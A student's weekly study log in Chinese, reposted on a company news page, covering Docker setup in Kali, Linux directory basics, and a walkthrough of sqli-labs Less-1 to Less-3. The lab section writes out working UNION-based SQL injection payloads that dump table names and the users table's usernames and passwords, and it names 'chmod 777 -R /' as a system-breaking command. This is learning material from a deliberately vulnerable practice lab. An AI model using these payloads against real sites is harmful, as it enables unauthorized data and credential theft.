新闻详情

新闻详情

首页 / 资讯中心 / 详情

第二周学习周报

发布时间:2026/11/13 9:27:45来源:尧图网络
第二周学习周报
第二周学习周报2026.9.21 - 2026.9.26本周主线Docker 安装与环境配置 → Linux 文件系统基础 → SQL 注入实战sqli-labs Less-1~3目录一、Docker 安装与环境配置1. 安装位置选择2. 安装命令3. 镜像加速器配置4. Docker 基本操作5. 踩坑记录二、搞懂 Linux 文件系统三、实践内容1. Docker 环境配置2. SQL 注入基础流程Less-1 ~ Less-33. MOECTF 2026 新生赛一、Docker 安装与环境配置1. 安装位置选择有 VMware Kali 的情况下Docker 装 Kali 里不装 Windows 主机。理由Kali 是后续打靶场、跑渗透工具的主战场Docker 装在里面环境统一。不需要额外装 WSL 2 后端少一层麻烦。有快照功能装崩了能一键回滚。2. 安装命令sudoaptupdatesudoaptinstall-ydocker.iosudosystemctlenabledocker--nowsudousermod-aGdocker$USER注意usermod加组后必须注销重登之后docker命令才不用加sudo。3. 镜像加速器配置国内直连 Docker Hub 基本拉不动需要配镜像源。编辑/etc/docker/daemon.json{registry-mirrors:[https://docker.m.daocloud.io]}保存后重启服务sudosystemctl daemon-reloadsudosystemctl restartdocker4. Docker 基本操作常用命令dockerrun hello-world# 跑一个测试容器dockerrun-itubuntubash# 拉 Ubuntu 镜像并进入容器dockerps# 看正在运行的容器dockerps-a# 看所有容器含已停止的dockerimages# 看本地已有镜像dockerrm容器ID# 删除容器dockerrmi镜像ID# 删除镜像进入容器后的验证ls# 查看目录结构pwd# 查看当前路径cat/etc/os-release# 查看系统版本whoami# 查看当前用户exit# 退出容器进入容器后提示符会变成root容器ID:/#跟宿主机的 Kali 提示符区分开。容器与镜像的区别镜像模板只读拉一次可以反复用。容器镜像跑起来的实例可以启停、删除。删容器不删镜像下次还能秒开新容器。5. 踩坑记录Docker 默认不走系统代理浏览器能打开 GitHub不代表 Docker 能拉镜像。需要在daemon.json里配镜像源或单独给 Docker 配代理。权限问题不加sudo报permission denied说明用户没加进docker组需要usermod 注销重登。国内网络环境Docker Hub 拉镜像经常超时配国内镜像加速器是标配操作。fcitx与fcitx5区分Kali 里装的是 fcitx4启动命令是fcitx不是fcitx5输错命令会报command-not-found。二、搞懂 Linux 文件系统摘自《北京大学计算机基础能力手册》Linux 认为什么都是文件于是Linux 的根目录/就成了所有文件的起点。Linux 使用/作为分隔符可以使用/来表示根目录使用..来表示上一级目录使用./来表示当前目录。需要注意的Linux 的文件系统是区分大小写的。/usr/local/bin目录通常会被包含在PATH变量中。可以使用ls -l命令来查看文件的权限。常见权限标识符含义权限含义常用场景755你自己能读写执行别人只能读和执行可执行文件、目录常用644你自己能读写别人只能读普通文件常用700只有你自己能读写执行别人什么都干不了私密文件、SSH 密钥常用⚠️chmod 777 -R /会导致系统所有成员全部被视同 root 用户进而导致系统无法正常工作。一般的文件类型只有三个普通文件、目录和链接文件。Linux 系统文件主要目录/bin包含系统启动和运行所需的基本命令和工具。在现代的 Linux 架构下/bin目录通常是/usr/bin的符号链接实际的可执行文件都放在/usr/bin目录下这是为了简化文件系统结构和维护而做出的调整。/sbin包含系统管理员使用的命令和工具。同样的现在通常直接链接到/usr/bin目录。/usr包含用户安装的软件和库文件。/var包含可变数据如日志文件、邮件等。/lib包含系统运行所需的共享库文件。出于和/bin和/sbin目录一样的原因现在通常直接链接到/usr/lib目录。/home包含用户的个人目录。/etc包含系统配置文件。/dev包含设备文件表示系统中的硬件设备。/proc包含系统进程和内核信息的虚拟文件系统。/tmp包含临时文件系统重启后会被清空。/opt这是特殊的软件包安装目录通常用于安装第三方软件。这些软件一般不会依赖于系统的其他部分因此被放在这个目录下以避免与系统文件发生冲突。/mnt挂载点通常用于挂载外部设备或分区。当我们需要访问一个新的分区或者设备时可以在/mnt目录下创建一个新的目录来挂载它。所有的 Linux 根目录基本都长这样只多不少。如果进入/dev我们会发现很多有意思的文件其实都是设备。关于用户切换在终端内使用su命令即可以超级用户开启以该用户为身份的 shell。sudo是以超级用户身份运行命令的意思。通过sudo我们可以授权某些用户以超级用户的身份执行特定命令而不需要直接使用 root 账户。三、实践内容1. Docker 环境配置拉取靶场镜像dockerrun-d-p8080:80 acgpiano/sqli-labs配置 Docker 代理解决拉取超时由于 Docker 默认不走系统代理直接拉取 Docker Hub 镜像会超时。需手动配置代理且代理地址应指向宿主机 IP非127.0.0.1[Service] EnvironmentHTTP_PROXYhttp://192.168.xxx.1:7890 EnvironmentHTTPS_PROXYhttp://192.168.xxx.1:7890配置后需systemctl daemon-reload并重启 Docker。2. SQL 注入基础流程Less-1 ~ Less-3核心思路判断闭合方式 → 判断列数 → 找回显位 → 爆库/表/列/数据。Less-1单引号闭合判断注入点?id1报错确认字符型注入。判断列数ORDER BY 3正常ORDER BY 4报错确认 3 列。找回显位?id-1 UNION SELECT 1,2,3--第 2、3 列回显。爆数据UNIONSELECT1,database(),version()UNIONSELECT1,2,group_concat(table_name)FROMinformation_schema.tablesWHEREtable_schemasecurityUNIONSELECT1,2,group_concat(column_name)FROMinformation_schema.columnsWHEREtable_nameusersUNIONSELECT1,group_concat(username),group_concat(password)FROMusersLess-2数字型注入区别参数无引号包裹不需要闭合符号。判断方式?id1 AND 11正常?id1 AND 12无回显。后续流程与 Less-1 完全一致列数 3回显位 2、3。Less-3单引号 括号闭合判断闭合?id1报错信息中出现1)推断原 SQL 为id(1)。正确闭合?id1) --后续流程与 Less-1 一致payload 改为?id-1) UNION SELECT ...踩坑记录Docker 代理不生效配置127.0.0.1指向的是容器自身必须改成宿主机 IP192.168.xxx.1。VPN 需开启允许局域网否则 Kali 无法访问宿主机代理端口。--的作用--是 SQL 注释符在 URL 中代表空格用于注释掉原 SQL 剩余部分。ORDER BY用途按第几列排序数字超过实际列数会报错可用来判断列数。3. MOECTF 2026 新生赛本周参加了 MOECTF 2026 新生赛完成了签到、nc/ssh 工具使用、源码泄露等基础题目熟悉了 CTF 平台的操作流程和工具链。详细内容由于比赛规则限制不再阐述。
网站建设高端定制企业官网
RELATED

相关资讯

更多精彩内容,欢迎继续阅读

较早相关资讯

最新相关资讯

【外设】之大彩串口显示屏 2026/11/13 0:43:49

【外设】之大彩串口显示屏

大彩串口屏初步使用 1 .官网下载 STM32 屏幕 GUI 设计资料 http://www.gz-dc.com/category/typeid/4112 找到 STM32 Keil 工程,移植相关代码因项目而异进行移植,由于项目简单,本人只对用到的指令接口进行修改。 比如:注意事项&…

阅读更多 →
无法下载Windows系统iso文件 2026/11/12 23:59:09

无法下载Windows系统iso文件

当我遇到这个问题的时候,我打开了一个网站: 登录 然后我打算下载的时候: 突然那个官方的连接就可以下载了:

阅读更多 →
【清华代码熊】DeepSeek V4.1 Flash 后训练详解 2026/11/12 9:50:02

【清华代码熊】DeepSeek V4.1 Flash 后训练详解

📌 上期解析了 DeepSeek V4.1 Flash 模型架构改进,本期解析 DeepSeek V4.1 Flash 预训练/后训练技术: 🌟 预训练:45T 文本 多模态混合语料、直接训练 sparse attention(取消 DeepSeek V4 的 dense 冷启动&…

阅读更多 →
Shuffle-R1: Efficient RL framework for Multimodal Large Language Models via Data-centric Dynamic ... 2026/11/12 9:25:38

Shuffle-R1: Efficient RL framework for Multimodal Large Language Models via Data-centric Dynamic ...

文章主要内容和创新点 主要内容 本文聚焦于多模态大语言模型(MLLM)强化学习(RL)训练中的效率问题,提出了一个名为Shuffle-R1的框架。研究发现,当前RL训练存在两个关键缺陷: 优势值坍缩(Advantage Collapsing):批次中大多数优势值集中在零附近,导致有效梯度信号被淹…

阅读更多 →
PRvL: Quantifying the Capabilities and Risks of Large Language Models for PII Redaction 2026/11/12 15:57:44

PRvL: Quantifying the Capabilities and Risks of Large Language Models for PII Redaction

一、文章主要内容总结 本文聚焦于利用大型语言模型(LLMs)实现个人身份信息(PII)脱敏的研究,旨在解决传统脱敏方法(如基于规则的系统、领域特定命名实体识别(NER)模型)泛化能力差、跨格式/跨语境适应性弱的问题。 研究通过全面评估多种LLM架构(包括密集型LLM(D-LLM…

阅读更多 →
LLaVA-RE: Binary Image-Text Relevancy Evaluation with Multimodal Large Language Model 2026/11/13 0:02:27

LLaVA-RE: Binary Image-Text Relevancy Evaluation with Multimodal Large Language Model

文章主要内容和创新点 主要内容 本文聚焦于二进制图像-文本相关性评估任务(判断图像与文本“相关”或“不相关”),针对该任务中文本格式多样、相关性定义随场景变化等挑战,提出了基于多模态大语言模型(MLLM)的解决方案LLaVA-RE。 模型设计:LLaVA-RE基于LLaVA 1.5架构,…

阅读更多 →

今日资讯

本周资讯

本月资讯

看完文章仍有疑问?

联系尧图顾问,获取一对一建站咨询

立即免费咨询 📞 400-888-8888
📞 ✉